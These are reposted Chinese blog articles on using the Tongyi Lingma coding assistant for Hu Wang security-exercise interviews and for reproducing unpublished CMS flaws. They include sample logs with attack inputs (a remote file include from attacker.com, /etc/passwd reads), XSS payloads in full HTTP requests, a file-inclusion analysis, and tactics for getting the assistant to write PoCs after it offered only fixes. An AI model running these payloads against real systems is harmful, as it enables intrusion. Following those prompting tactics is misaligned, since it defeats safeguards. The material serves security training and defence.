巧用通义灵码助力护网面试

巧用通义灵码助力护网面试

本文转自 周周的奇妙编程 并作补充

前言

前几年护网还算是一个比较敏感的话题,但是随着近段时间的常态化开始,护网行动也是逐渐走进了大众的视野,成为了社会各界共同关注的安全盛事。本篇也是受通义灵码备战求职季活动的启发,结合近期要开始的护网行动,尝试出一期结合通义灵码助力护网面试的文章,希望帮助更多的朋友拿到offer。

护网行动

护网行动是以公安部牵头的,用以评估企事业单位的网络安全的活动。

具体实践中,公安部会组织攻防两方,进攻方会在一个月内对防守方发动网络攻击,检测出防守方(企事业单位)存在的安全漏洞。通过与进攻方的对抗,企事业单位网络、系统以及设备等的安全能力会大大提高。

“护网行动”是国家应对网络安全问题所做的重要布局之一。“护网行动”从2016年开始,随着我国对网络安全的重视,涉及单位不断扩大,越来越多的单位都加入到护网行动中,网络安全对抗演练越来越贴近实际情况,各机构对待网络安全需求也从被动构建,升级为业务保障刚需。

image

红队:主要负责模拟黑客攻击公司的网络系统,通过发起各种攻击,如漏洞利用、社会工程学攻击、恶意软件攻击、拒绝服务攻击等,来评估公司的网络安全防御能力,并向公司单位提供有关攻击及可能影响的信息。

蓝队:主要负责响应红队的攻击,保护公司的网络系统安全。蓝队工作主要包括但不限于系统修复、Patch打补丁、网络攻击防御等,维护公司的网络系统安全。此外,蓝队还会通过监控和日志分析,发现并追踪红队的攻击行为,以便加强公司的防御能力。

护网一般按照行政级别分为国家级护网、省级护网、市级护网;除此之外,还有一些行业对于网络安全的要求比较高,因此也会在行业内部展开护网行动,比如教育、医疗、金融等行业。

巧用通义灵码助力护网面试

根据上文也知道,在护网行动中分为红蓝两队,那么同理,面试时也是按照红蓝分开招聘的,并且根据低、中、高给出不同程度的面试题。

由于涉及到的场景不一样,下面我还是将蓝队和红队分开来讲。

蓝队面试

首先我们看一下蓝队面试的基本要求:

初级工程师

1.年龄20周岁及以上,有攻防演练、重保蓝队或者实习工作经验或CTF比赛经历。

2.熟悉常见漏洞原理、挖掘、利用、修复方法,能够进行日志分析、流量分析,准确上报攻击事件。

3.熟悉至少一款主流厂商安全设备,如WAF、威胁感知、主机审计监测工具等。

中级工程师

1.满足初级要求。

2.工作经验1年以上,能力突出可放宽选项。

3.具备全面的安全事件分析处置能力,能够制定有效的应急响应方案,并在第一时间处置突发情况。

4.有多次攻防演练或重保红蓝队工作经验(加分项)。

高级工程师

1.满足中级要求。

2.工作经验2年以上。

3.具备良好的沟通表达能力。

4.可对演练期间出现的各种安全问题提供解决方案,协助客户处理各种突发网络安全事件并输出成果报告。

目前建议最好都是去面中高蓝,初级的比较牛马,薪酬也不可观,容易背锅。

问答型面试题

问答型面试题对于大模型而言是最为简单的一种,这里需要人工去做的就是整理常见的面试题,建议去微信公众号中看看各位大佬整理的题型,然后结合大模型来学习就可以了,这也并不算是通义灵码独有的能力,所以不过多赘述。

image

案例面试-告警日志分析

稍微深层次一点的就是可以借助通义灵码来实现对告警事件的分析和筛选,以研判哪些是误报警,哪些是需要紧急响应的真实威胁。

比如说在WAF上或者IPS上有一堆类似的告警,我们可以通过灵码来进行进一步分析:

image

image

在确认攻击细节后,接下来,需要进一步确认该漏洞是否攻击成功,可以进入服务器提取相关日志:

比如说我提取身份验证相关的信息,例如用户登录、注销和失败的登录尝试的日志

1
/var/log/auth.log

将日志文件放入可直接进行分析。

image

又比如说直接放入nginx日志:

1
2
3
4
5
[06/Jul/2024:13:45:30 +0800] "GET /wp-admin/css/colors/blue/wp-admin.css?ver=5.4.2 HTTP/1.1" 200 10240 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"
[06/Jul/2024:13:45:31 +0800] "POST /login.php HTTP/1.1" 401 200 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
[06/Jul/2024:13:46:05 +0800] "GET /cgi-bin/php?%2D%64+%61uto_prepend_file%3Dhttp%3A%2F%2Fattacker.com%2Fmalware.php HTTP/1.1" 404 499 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
[06/Jul/2024:13:47:15 +0800] "GET /wp-content/plugins/revslider/temp/update_extract/revslider/update.php?VULNERABLE_PARAMETER=../wp-config.php HTTP/1.1" 200 12345 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.192 Safari/537.36"
[06/Jul/2024:13:48:05 +0800] "GET /admin/index.php?cmd=cat%20/etc/passwd HTTP/1.1" 403 300 "-" "Python-urllib/2.7"

image

可以协助研判出是否可能存在外部入侵等。

而最后,假设确实存在被入侵的情况,比如说是有上传可疑文件,这时我们同样可以将该可疑文件进行分析:

image

当然这里仅仅是一个例子,实际情况可能比这个更为复杂。

案例面试-脚本撰写

对于蓝队中高级,也是需要一定的脚本编写能力的,一般情况下相关机构会提供一些开源脚本,也不一定都需要个人编写,但是就怕脚本本身带后门,一不小心还把客户给污染了,所以一般比较有经验的老师傅还是会选择自己来编写脚本。

像蓝队写的比较多的脚本,一般都是些入侵检测、批量封禁IP或者什么自动化告警上交之类的(娱乐脚本)。

这里就稍微举个例子,比如一台Linux服务器失陷了,一个蓝队小白肯定是会一条条的百度查命令然后顺着执行,但是蓝队的中高老鸟肯定会选择自己编写脚本来直接一键输出。

这里,我们来借助通义灵码直接实现:

给出prompt如下:我的电脑被入侵了,请帮我直接撰写出shell脚本来一次性排查所有可能涉及的信息项。

image

初次调教效果也不太如意,没事,我们可以继续优化:请帮我直接撰写出一个shell脚本输出Linux的机器名、用户信息、登录信息、建立连接的IP、对外监听端口、历史登录信息、安全日志中登录成功信息、历史命令、计划任务。

这里我已经明确的给出了需要输出的内容,通义灵码确实也不含糊,给出了一个完整的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/bin/bash

# 输出机器名
echo "Machine Name: $(hostname)"

# 输出当前用户信息
echo "User Info:"
id $(whoami)

# 输出最近的登录信息
echo "Last Login Info:"
last -w

# 显示已建立连接的IP(需根据实际情况调整,这里以netstat为例)
echo "Established Connections and IPs:"
sudo netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr

# 输出对外监听端口
echo "Listening Ports:"
sudo netstat -tuln

# 历史登录信息(检查/var/log/auth.log或其他相关日志文件,具体路径依系统而异)
echo "Historical Login Attempts:"
sudo cat /var/log/auth.log | grep 'pam_unix\(sshd\:\:session\): session opened for user'

# 安全日志中的登录成功信息(同样依赖于具体的日志配置)
echo "Successful Logins from Security Log:"
sudo cat /var/log/auth.log | grep 'Accepted password for'

# 用户的历史命令(这里以当前用户为例,使用bash历史记录)
echo "User's Recent Commands:"
history

# 计划任务(cron jobs), 这里只列出当前用户的
echo "Scheduled Tasks (Cron Jobs):"
crontab -l

# 注意:脚本中涉及sudo的部分需要有相应权限才能执行。

image

这里我再稍微修改一下,让脚本输出看上去更美观:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#! /bin/bash
# linux-info v0.1

echo "-------------------------机器名-------------------------"
hostname
echo "-------------------------查看用户信息-------------------------"
cat /etc/passwd |grep -v nologin |grep -v /bin/false
echo "-------------------------查看登录信息-------------------------"
w
echo "-------------------------查看正在连接的IP-------------------------"
netstat -antlp |grep ESTABLISHED
echo "-------------------------查看对外监听的端口-------------------------"
netstat -antlp |grep LISTEN | grep -v 127.0.0.1
echo "-------------------------查看历史登录信息-------------------------"
last -F -n 10
echo "-------------------------查看安全日志中登录成功信息-------------------------"
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
echo "-------------------------查看历史命令,查找外联-------------------------"
history | grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}"
echo "-------------------------查看计划任务-------------------------"
crontab -l
echo "-------------------------查找隐藏文件-------------------------"
find / ! -path "/proc/*" ! -path "/usr/*" ! -path "/var/*" ! -path "/sys/*" -name ".*" -print
echo "-------------------------其他·提示-------------------------"
echo "查看用户进程:lsof -u hack"
echo "查看端口占用:lsof -i:8888"
echo "查看公钥信息:~/.ssh/id_dsa.pub"
echo "查看进程:ps -aux"

随便丢进一台测试服务器里跑一下,看看效果:

image

还行吧,还是有点丑,不过这里也就是测试一下,格式啥的之后再调整吧。

而针对于自动化提交告警脚本可以参照这个来编写,在通义灵码的帮助下可以更快实现。

案例面试-报告撰写

报告撰写其实也算是大模型的长处了,里面的一些套话都可以用通义灵码来完成,这里也不赘述了,相信大家都会使用。

以上就是蓝队面试的全部内容了,无论是通过直接分析日志、编写自动化脚本,还是辅助撰写专业报告,通义灵码都能够显著提升蓝队工程师在护网行动面试及实际工作中的表现,帮助他们更好地应对网络安全挑战,展现专业能力。

红队面试

红队中高:

1、具备多次国家级、省级护网红队实战经验(获得前三名次优先)

2、熟悉红队打点、内网渗透、域渗透等

3、熟悉社工、免杀对抗等

4、有0day优先(加分项)

5、有SRC前十排名优先(加分项)

6、有CNE、CNVD证书优先(加分项)

红队中级,在红队初级的基础上掌握web原理和语言编程能力,fofa,Haktrails等资产搜索引擎的使用,能高效利用网络上公开的poc批量扫描站点并利用漏洞,具有内网横向渗透以及域控能力。

红队高级,这个时候技术路线就出现了分化。

第一种情况:技术背景是高校科班,研究方向是java和php编码与审计,情报搜集,基于Python的POC加工能力,熟悉常见安全产品的绕过,有src甚至是cvnd的漏洞挖掘经验。

第二种情况:手握大量的扫描器/漏洞库/服务器资源,强大的资产信息搜索能力,各种最新的批量利用脚本。

两者之间没有高下之分,一个POC管你是自己写的还是别人给的效果都是一样的,如果要说指定站点渗透肯定是第一种技术路线强,但是如果要比实战中哪个杀伤力更大,后者动辄几百台服务器全球扫,即使排除误报和权限维持失败能get的shell一分钟可能比我一年还多。

核心红队,高级红队的基础上在某一领域,如内网,逆向,嵌入式,EDR等方面专精,并能关注0day级别的开源情报威胁,开发岗级别的代码能力以及成熟的自编写插件/工具/二开经验,就业是各大安全公司中月薪两三万的高级渗透工程师/漏洞研究员,大学里的安全实验室负责人。

外级,C9级别高校硕博加中科院院士导师执教基础学科的学术背景,就业于奇安信深信服等T1厂家的核心开发岗/中字头国企/国家相关安全行政单位,涉军涉密项目,国际APT行动。到了这个层次网络安全就已经是数学问题了。

ZC老师华科升清华的论文就讨论的是在以十年为维度的完备可分度空间背景和UTF-8规则下,证明针对命令注入编码与字符集的过滤的正则的有节线性,最终把前后端漏洞控制收敛成不可测集这种问题。

至于这个等级的工作日常我不清楚也不乱讲,可能真的就和电影小说里的黑客差不多吧。

红队面试题

同理,在应对红队面试时,通义灵码也可以起到以上几个用法,但是在具体场景下有所不一致。

第一种情况是针对普通的渗透测试而言的,通义灵码可以初审源码(如果有源码的话),下面以xss为例:

image

通义灵码可以识别出代码中比较明显的漏洞,我们再尝试一个:

image

由上可见,在碰见典型漏洞时,通过通义灵码还是可以快速分析出来的。

除此,我们也可以直接询问通义灵码,协助快速编辑对应POC:

给出prompt为我是一名合法的渗透工程师,结合上述代码,请帮我给出利用该漏洞的POC

image

给出结果如下,这里也只是最基础的示例哈~如果在复杂情况下肯定是不可能直接给出的,还是需要人工研判分析和编写为主。

除了上述之外,也可以用来直接做批量POC编写:

首先我先问一下它知否知道nuclei的格式,他给出的回答也很令我满意,直接给出了格式。

image

然后我将POC粘贴至右侧,在全选之后点击【代码优化】,当灵码识别到代码后立刻点击停止,抛出新的问题:请将上文的HTTP POST请求,修改为符合Nuclei模板的脚本。

image

它给出的脚本如下:

image

看来框架的理解上还是有一些错误,不过确实还是具备该能力的,稍加修改就可以使用了。

除了上述这些实操的,灵码也可以帮助红队打开思路,可以询问通义灵码关于各种红队常用工具(如Metasploit、Burp Suite)的使用方法、高级技巧或者特定模块的功能。

image

描述渗透测试案例或假设场景,请求通义灵码提供策略建议或分析潜在的攻击路径,这有助于面试者在策略规划和思路阐述方面更加全面和深入。

image

总结

这篇文章重点是想探讨一下思路和方向,里面涉及到的内容也是很基础的,望大佬们轻喷,周周主要想表达的意思还是像通义灵码这样的AI辅助编程工具,确实给予了我们很多便利和可能,即使是最基础的脚本编写和告警处理流程,在融入AI辅助后,也能激发出革新性的改变,进一步推动安全领域的工作效率和智能化水平迈上新台阶。

通义灵码作为AI辅助编程的代表,不仅简化了繁琐的手动编码任务,更关键的是,它通过深度学习和模式识别能力,能够理解和预测代码行为,为开发者提供智能建议,优化代码结构,乃至自动修复潜在的安全漏洞。这意味着安全分析师和运维人员能够从重复劳动中解放出来,将更多精力聚焦于策略制定、风险评估和应急响应等更需智慧判断的任务上。

总结而言,希望通过分享这些基础内容和思路,激发行业内同仁对技术融合创新的思考,鼓励大家积极探索如何将诸如通义灵码之类的AI工具,融入到日常的安全工作中,从而在实战中不断提升安全防护的主动性和精确性,共同推进网络安全防御体系的现代化进程。

这里再额外说几句,其实通义灵码我从去年云栖之后就开始一直使用了,这一年他的进步其实是肉眼可见的,从起初辅助基础代码编写、语法纠错这些基本功能,到现在已经能够稍微理解复杂的业务逻辑了。诚然,没有一项技术是完美的,通义灵码仍有提升空间,尤其是在跨领域知识整合与高度创新项目的支持上。但不可否认,它所展现的进步速度和潜力,让我们有理由相信,在不久的将来,它将在软件开发领域扮演更加核心和智能的角色,继续推动行业的边界,助力开发者们实现更大的技术创新和业务价值。

【灵码助力安全2】——利用通义灵码辅助复现未公开漏洞的实践

【灵码助力安全2】——利用通义灵码辅助复现未公开漏洞的实践

本文转自 周周的奇妙编程 并作补充

前言

暨上一篇【灵码助力安全1】——利用通义灵码辅助快速代码审计的最佳实践之后,这第二篇主要是想分享一下通义灵码在复现未公开漏洞方面的应用,当然,前提也是必须得有相应的源码。

有的时候,由于安全人员水平的限制和时间、资源等条件的约束,使得对于某些已知但未公开漏洞(如0day、未公开1day漏洞)的复现和分析变得十分困难。在这种情况下,利用通义灵码这样的智能编码辅助工具,可以显著提高漏洞复现的效率,并且帮助安全研究人员更快速地理解和解决问题。

基本思路

通常,CVE上、付费网站、韭菜星球上会有一些漏洞细节的描述,但是偏偏不给你Poc,这时万一你发现搜遍全网也都搜不到这个公开的,就必需要依靠自己的技术能力和手头上的工具来尝试复现这些漏洞了。

关于CVE的查找,我个人偏向于喜欢使用以下两个:

https://cxsecurity.com/

image

https://cvefeed.io/

image

而源码的获取方面,目前我还是以开源代码为主,一般都是在github、gitee、站长工具甚至微信公众号上去查找收集,但是说实话,这种代码涉及的网络空间影响面都不会特别大,可能会有人用,但一般不会是特别重点的企事业单位。

此次以某cms最新版4.8为例,我们尝试借助通义灵码并根据cve的细节描述来进行该未公开漏洞的复现,复现的环境搭建可以参考我的上一篇文章,在此不过多赘述。

下面按照由易到难的顺序依次举例说明:

xss漏洞

根据cve原文描述漏洞如下:

A vulnerability, which was classified as problematic, has been found in xxxCMS 4.8. Affected by this issue is some unknown functionality of the file /index.php/admin of the component Article Handler. The manipulation of the argument Title leads to basic cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.

一个被归类为有问题的漏洞出现在xxxCMS 4.8版本中。该漏洞影响了Article Handler组件中的/index.php/admin文件的某个未知功能。通过对参数Title的操控,会导致基础的跨站脚本攻击(XSS)。

首先,涉及到跨站脚本攻击的这种漏洞其实并不复杂,有经验的人可以随便测,但是这里我们既然有了源码,有了漏洞描述,就可以直接进行方法定位了,

在灵码中给出prompt如下:

已知此处存在漏洞,影响了Article Handler组件中的/index.php/admin文件的某个未知功能。通过对参数Title的操控,会导致基础的跨站脚本攻击(XSS), 请你帮忙确认漏洞存在位置并加以分析,不需要给出修复方法。

模式选择工作空间模式:

image

在这个模式下的缺点就是无法很好的理解我的问题,不管如何提示,他始终只会给出针对漏洞的修复方法,所以必须强制其不要给出修复方法。

灵码给出的回复如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1.在文件article.php中,存在以下代码片段:

<title>{
if isset($.title) && !empty($.title)}{
$.title}{
else}{
$.channelname}{
/if}</title>

此处直接将title参数输出到HTML中,没有进行任何过滤或转义处理。如果title参数中包含恶意脚本,将直接被执行,从而导致XSS攻击。

2.在文件article_edit.php中,存在类似的代码:

<input type="text" name="title" value="{$article.title}">

同样,此处直接将title参数的值输出到HTML中,没有进行适当的处理,也可能导致XSS攻击。

这里给出的是前端的解析,说明此处确实存在xss漏洞,但是其前端是纯展示界面,并不存在任何编辑的地方,所以我们可以接着给出prompt,让其寻找哪个方法是可以输入title参数的,等找到这个输入的位置就可以进行验证:

已知对于新闻的管理是放在admin代码目录下,请你寻找该目录下的方法,找到可以输入title的位置

此时给出的回复如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
在admin目录下,我们可以找到与文章管理相关的方法,这些方法可能涉及到标题(title)的输入和处理。根据检索到的代码片段,可以确定以下方法可以处理title参数:

1.文章编辑方法: 在文件article.php中,存在一个处理文章编辑的方法edit。这个方法中包含了对title参数的处理逻辑。

if($editColumns=C('this:article:editColumns:~',$array['columns'])) {

$array['columns']=$editColumns;
}

此处editColumns可能会包含title字段的编辑内容。

2.文章保存方法: 在同一个文件中,存在一个保存文章的方法editSave。

if(isset($array['cid'])){
$_POST['cid']=$array['cid']; }
if(!C('this:csrfCheck',1)) {

Return array('msg'=>'非法提交,请刷新当前页面或重新登入系统','error'=>1,'code'=>1001);
}

这个方法中会处理文章的保存操作,包括title字段的保存。

说白了就是后台涉及文章管理的地方,打开web端进去找,同时结合BP工具进行抓包判断

找到这个界面,不管了全部都插一遍:

image

使用语句如下:

1
<img src=1 onerror=alert(/222/)>

验证出同一页面下存在三处xss漏洞:

image

我们接着看上面灵码的提示:

文章保存方法: 在同一个文件中,存在一个保存文章的方法editSave。

if(isset(array[‘cid’])){_POST[‘cid’]=$array[‘cid’]; }
if(!C(‘this:csrfCheck’,1)) {
Return array(‘msg’=>’非法提交,请刷新当前页面或重新登入系统’,’error’=>1,’code’=>1001);
}

这个方法中会处理文章的保存操作,包括title字段的保存。

现在定位到这一块,我们在web端寻找调用此方法的位置,并拦截其初始请求包如下:

1
2
3
4
5
6
7
8
9
10
11
12
POST /admin?do=admin:article:editSave HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 1348
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; token_6da8bd=e5f944bcd5a0e47fed76822875aadffe; csrf_6da8bd=404619e7
Origin: http://public
Referer: http://public/admin?do=admin:article:edit&cid=66618103&id=28
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

此时就可以结合我上一篇文章的技巧,直接让灵码帮助构造请求包来验证xss漏洞

这时workspace模式极有可能抽风,可能是因为涉及到漏洞验证触发了关键词,反正一直只给出修复方式

image

这时还是需要回到普通模式,找到admin下article文件中的editSave方法,全选代码后,给出让其修改的prompt:

image

构造请求包如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /admin?do=admin:article:editSave HTTP/1.1
Host: public
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 1348
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; token_6da8bd=e5f944bcd5a0e47fed76822875aadffe; csrf_6da8bd=404619e7
Origin: http://public
Referer: http://public/admin?do=admin:article:edit&cid=66618103&id=28
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

cid=66618103&id=28&title=<script>alert('XSS')</script>&content=<script>alert('XSS')</script>

这里就又出现了一个幻觉问题,经过人工审查,发现这里并不存在title这个输入参数,经过上下文分析后,应该是前面提到title参数与文章有关,灵码联想到了文章——>article ,所以判断此处存在可能存在漏洞。

但是实际上这里存在漏洞吗?答案是存在的!

从语法分析上,灵码误判的几率较小,但是会受prompt的影响,进而被使用者“误导”

所以,这里我们需要重新审计这段代码,告知里面存在xss漏洞,进而进行利用

其中,灵码的返回内容如下:

image

已知存在 _referer 未经过滤,OK,下面直接让灵码开始利用(content部分为自己修改的恶意内容):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /admin?do=admin:article:editSave HTTP/1.1
Host: public
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 1348
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; token_6da8bd=e5f944bcd5a0e47fed76822875aadffe; csrf_6da8bd=404619e7
Origin: http://public
Referer: http://public/admin?do=admin:article:edit&cid=66618103&id=28
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

_referer=%3CsCrIpT%3Exxzaurchol%3C%2FsCrIpT%3E&cid=66618103&content=%3Ch1%3E%0A%09%3Ctable+style%3D%22width%3A100%25%3B%22+cellpadding%3D%222%22+cellspacing%3D%220%22+border%3D%221%22+bordercolor%3D%22%23000000%22%3E%0A%09%09%3Ctbody%3E%0A%09%09%09%3Ctr%3E%0A%09%09%09%09%3Ctd%3E%0A%09%09%09%09%09%3Cbr+%2F%3E%0A%09%09%09%09%3C%2Ftd%3E%0A%09%09%09%09%3Ctd%3E%0A%09%09%09%09%09%3Cbr+%2F%3E%0A%09%09%09%09%3C%2Ftd%3E%0A%09%09%09%3C%2Ftr%3E%0A%09%09%09%3Ctr%3E%0A%09%09%09%09%3Ctd%3E%0A%09%09%09%09%09%3Cbr+%2F%3E%0A%09%09%09%09%3C%2Ftd%3E%0A%09%09%09%09%3Ctd%3E%0A%09%09%09%09%09%3Cbr+%2F%3E%0A%09%09%09%09%3C%2Ftd%3E%0A%09%09%09%3C%2Ftr%3E%0A%09%09%09%3Ctr%3E%0A%09%09%09%09%3Ctd%3E%0A%09%09%09%09%09%3Cbr+%2F%3E%0A%09%09%09%09%3C%2Ftd%3E%0A%09%09%09%09%3Ctd%3E%0A%09%09%09%09%09%3Cbr+%2F%3E%0A%09%09%09%09%3C%2Ftd%3E%0A%09%09%09%3C%2Ftr%3E%0A%09%09%3C%2Ftbody%3E%0A%09%3C%2Ftable%3E%0A%3Cbr+%2F%3E%0A%3Cimg+src%3D%22http%3A%2F%2Fpublic%2Fclass%2Fkindeditor%2Fplugins%2Femoticons%2Fimages%2F32.gif%22+border%3D%220%22+alt%3D%22%22+%2F%3E%3Cimg+src%3D%22E%3A%5Cshentou%5Cwebshell%22+align%3D%22left%22+alt%3D%22%22+%2F%3E%3Cimg+src%3D%22E%3A%5Cshentou%5Cwebshell%5Ctuma.jpg%22+align%3D%22left%22+alt%3D%22%22+%2F%3E%0A%3C%2Fh1%3E&csrf=404619e7&datetime=2021-05-20&description=1&id=28&keywords=1&recommend=on&title=%E6%B5%8B%E8%AF%95%E6%96%87%E7%AB%A0

发包之后,回显保存成功,证明此漏洞存在:

image

网上搜了一下,没有找到同样的,应该是0day了

文件包含

根据cve原文描述漏洞如下:

ClassCMS <=4.8 is vulnerable to file inclusion in the nowView method in/class/cms/cms.php, which can include a file uploaded to the/class/template directory to execute PHP code.

我们直接选择workspace模式,将以下prompt丢给灵码进行辅助判断:

在 /class/cms/cms.php 中的 nowView 方法存在文件包含漏洞,这可能会包含一个上传到 /class/template 目录的文件来执行 PHP 代码,请你判断该漏洞是否存在?同时简要分析,不需要给出修复方法。

灵码给出的答复如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
在 /class/cms/cms.php 中的 nowView 方法存在文件包含漏洞,这可能会包含一个上传到 /class/template 目录的文件来执行 PHP 代码,请你判断该漏洞是否存在?同时简要分析,不需要给出修复方法。

// ...此处为省略代码...
}
function nowView($template_config=array()) {

if(!isset($template_config['file'])) {

$this->error('no file');
Return false;
}
$file=$template_config['file'];
$file=ROOT_PATH.str_replace("\\","/",$file);
if(!file_exists($file)) {

$this->error('file not exists');
Return false;
}
if(!is_file($file)) {

$this->error('not a file');
Return false;
}
ob_start();
include $file;
$content=ob_get_contents();
ob_end_clean();
Return $content;
}
// ...此处为省略代码...

从上述代码中可以看出:

1.文件路径处理:$file 变量来自 $template_config['file'],并且进行了简单的替换处理 (str_replace("\\","/",$file)),但未进行其他过滤或验证。

2.文件存在性检查:通过 file_exists 和 is_file 函数检查文件是否存在并且是一个文件。

3.文件包含:使用 include 语句包含文件内容,并通过 ob_start 和 ob_get_contents 获取文件内容。

从代码中可以看出,nowView方法确实存在文件包含漏洞。尽管对$_file进行了一些字符检查,但这并不足以防止通过其他方式构造的恶意路径。如果攻击者能够控制$_file参数,并成功上传恶意文件到包含路径中,就可能执行任意PHP代码。

nowView方法存在文件包含漏洞,可能导致执行上传到/class/template目录的PHP代码。需要进一步检查调用nowView的地方以及$_file参数的来源,以确定实际风险和可能的缓解措施。

image

这时候,我们接着检查调用nowView的地方以及$_file参数的来源分析:

1
2
3
4
5
6
7
8
9
10
11
在文件cms.php中,有多个地方调用了nowView方法。以下是一些调用示例:

C('cms:nowView',$route_view,array_merge($route_view_article,$return),$classhash);
// ...
C('cms:nowView',$route_view,array_merge($route_view_article),$classhash);
// ...
C('cms:nowView',$route_view,$return,$classhash);

尽管我们找到了调用nowView的地方,但是从检索结果中并没有直接显示$_file参数的来源。因此,我们需要进一步手动检查代码,特别是那些调用nowView方法的地方,看$_file参数是如何确定的。

从代码中可以看出,nowView方法确实存在文件包含漏洞。尽管对$_file进行了一些字符检查,但这并不足以防止通过其他方式构造的恶意路径。如果攻击者能够控制$_file参数,并成功上传恶意文件到包含路径中,就可能执行任意PHP代码。

结合方法尝试构造路径 ,Get和Post都可以进行尝试,直到找到正常回显的界面即可:

/admin?do=cms:nowView
/admin?do=cms:cms:nowView
/cms?do=cms:nowView
/cms?do=cms:cms:nowView
.
.

找了半天之后,发现均是无权限,后来看了下完整的目录,发现这个位置应该是在该CMS的初始化界面,配合install.php 来使用的

nowView 的函数,主要用于加载和渲染指定的模板文件,其中:

  • $_file:指定要渲染的模板文件名。
  • $_vars:一个数组,包含传递给模板的所有变量,默认为空数组。
  • $_classhash:一个字符串,用于指定类的哈希值,默认为空字符串。

所以这里需要删除环境重新回到初始化界面来验证,验证方式也是比较容易,找到该参数的请求包加以构造就可以了,只能说漏洞确实存在,但是利用性不高。。。

总结

整篇看来,其实可行性还是比较高的,通过通义灵码的帮助,安全研究人员能够更加高效地定位并验证未公开的漏洞。无论是XSS还是文件包含等漏洞,通义灵码都能够提供有针对性的代码分析和漏洞定位建议,大大减少了手动排查的时间成本。然而,值得注意的是,尽管通义灵码表现出色,但在某些情况下,仍需依赖人类的经验来判断模型给出的建议是否合理,尤其是在面对较为复杂或多变的代码逻辑时。

期望在未来,除了漏洞复现之外,通义灵码可以拓展更多的应用场景,比如自动化安全测试动态分析以及威胁建模等。在自动化安全测试方面,通义灵码可以自动生成针对特定安全漏洞的测试用例,帮助开发者在代码提交之前就能识别潜在的风险,从而提高软件的质量和安全性;在动态分析领域,通义灵码可以监视程序运行时的行为,检测异常活动,及时报告潜在的安全问题;而对于威胁建模,通义灵码能够根据现有的安全知识库和模型,预测可能存在的攻击向量,并提出防范措施,帮助开发者设计更加健壮的应用架构。

通过不断地迭代升级,期望灵码能成为软件安全生命周期中一个至关重要的工具,不仅在开发阶段提供即时的反馈和支持,也在部署和维护期间持续发挥作用,为软件的安全性保驾护航,助力开发者和安全专家共同应对日益复杂的网络安全挑战。

【灵码助力安全1】——利用通义灵码辅助快速代码审计的最佳实践

【灵码助力安全1】——利用通义灵码辅助快速代码审计的最佳实践

本文转自 周周的奇妙编程 并作补充

前言

已经有接近两个月没有更新文章了,给大家说声抱歉。这段时间因为个人原因一直在备赛,所以9月去参加云栖大会的观后感,以及之前兴致勃勃想测评大模型平台的文章也迟迟没有写出来。争取在未来的两个月内把这些内容都补上

准备的比赛是数据安全相关的,由于队伍中有几位经验丰富的大佬带领,我们自然也是顺利入围了全国决赛。至于为什么要写这篇文章呢?说来也很巧,在半决赛时,有一个靶机直接把我们零封了,全场没有一个人能getshell。该靶机采用的是一个开源框架,而且网上并没有任何公开可用的漏洞信息,且由于比赛是在局域网环境下进行的,也没办法直接把代码拉下来审计。

赛后,我对这件事一直耿耿于怀,于是这两周就把这个框架好好地审计了一遍,确实找到了一些有趣且潜在的漏洞点。而在这一过程中,“通义灵码”起到了较大的帮助,帮助我节省了不少时间。这里,我想借这篇文章分享一下我的发现以及整个过程中的一些心得体会,姑且也算是个最佳实践了。

审计对象

本次审计的对象主要有两个:某开源PHP最新版6.0某开源OA最新版2.6.5

借助通义灵码,共审计出开源PHP最新版6.0高危漏洞4个,某开源OA最新版2.6.5高危漏洞1个 , 目前已提交至CNVD平台,尚在审核流程中,所以此处不便直接透露详细信息。

工具准备

环境搭建工具

**phpstudy_pro(小皮面板)**:在国内比较流行的一键安装环境包,它集成了 PHP、MySQL、Apache/Nginx 等服务,方便开发者快速搭建 Web 开发和测试环境,用于上述两个靶场的搭建。

代码审计工具

